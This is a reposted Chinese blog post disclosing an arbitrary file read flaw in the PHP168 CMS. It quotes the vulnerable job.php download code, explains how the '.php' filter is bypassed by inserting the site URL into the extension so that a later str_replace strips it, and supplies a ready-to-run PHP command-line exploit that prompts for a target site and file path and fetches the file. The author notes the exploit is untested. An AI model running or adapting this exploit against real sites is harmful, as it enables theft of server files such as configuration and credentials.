php 任意文件读取漏洞,Php168 读取任意文件漏洞

转载地址:http://hi.baidu.com/saiy_hi/哦,忘记说了,程序官方URL:http://www.php168.com/#代码:..job.php Line:117    if( eregi(".php",$url) ){        die("ERR");    }    $fileurl=str_replace($webdb[www_url],"",$url);    if(is_file(PHP168_PATH."$fileurl")&&filesize(PHP168_PATH."$fileurl")<1024*1024*500){        $filename=basename($fileurl);        $filetype=substr(strrchr($filename,'.'),1);        $_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);                if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){            $filename=urldecode(base64_decode($_filename)).".$filetype";        }        ob_end_clean();        header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');        header('Pragma: no-cache');        header('Content-Encoding: none');        header('Content-Disposition: attachment; filename='.$filename);        header('Content-type: '.$filetype);        header('Content-Length: '.filesize(PHP168_PATH."$fileurl"));        readfile(PHP168_PATH."$fileurl");    }else{        $fileurl=strstr($url,"://")?$url:tempdir($fileurl);        header("location:$fileurl");    }在这段代码里,有判断url里是否包含.php,但是在接下来,这里有个替换$fileurl=str_replace($webdb[www_url],"",$url);.p$webdb[www_url]hp被替换后就是.php,但是可以顺利通过前面的是否存在.php的判断。我没有安装这个代码,但是搜索了一下代码,$webdb[www_url]应该是Web的URL地址。结论是:可以读取任意文件。我写了一个Exp来读取文件,但是由于没有安装php168,所以如果有人愿意测试就安了~由于以前写的EXP太不人性化了,现在连输入变量的方式都改变了~~~php php168.php运行就好了

PHP代码

make_input('url','请输入Php168程序所在的地址,例如http://www.xxx.com/');

while (1){

if(substr($url,0,7)!=='http://')     make_input('url','大哥,这怎么可能是万维网所说的Url嘛,专业点');

else break;

}

if(substr($url,0,-1)!=='/') $url.='/';

//如果URL的最后一位不是/,补全之

if(!$tmp=@file_get_contents($url.'job.php')) die('哦,你耍我,我不往下跑了。');

//如果读job.php为空,就不跑了,跑的辛苦。

make_input('file_path','先生,你想读个啥文件呢?');

$query = str_replace('php','ph'.$url.'p',$file_path);

$hack_url = $url.'job.php?url='.base64_encode($query);

$result = file_get_contents($hack_url);

echo $result;

die;

function make_input($name,$msg="请输入{name}的值",$type='text'){

//Web:http://hi.baidu.com/saiy_wowman/

global $$name;

if(isset($$name)) $$name = '';

while(1){

if(!isset($$name)||$$name==''){

$msg = str_replace('{name}',$name,$msg);

echo $msg."\r\n";

$_input = trim(fgets(STDIN));

if($_input!=='') {

if($type=='int'){

if(is_numeric($_input)) {

$$name = $_input;

break;

}

}else{

$$name = $_input;

break;

}

}

}else{

break;

}

}

}

?>

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值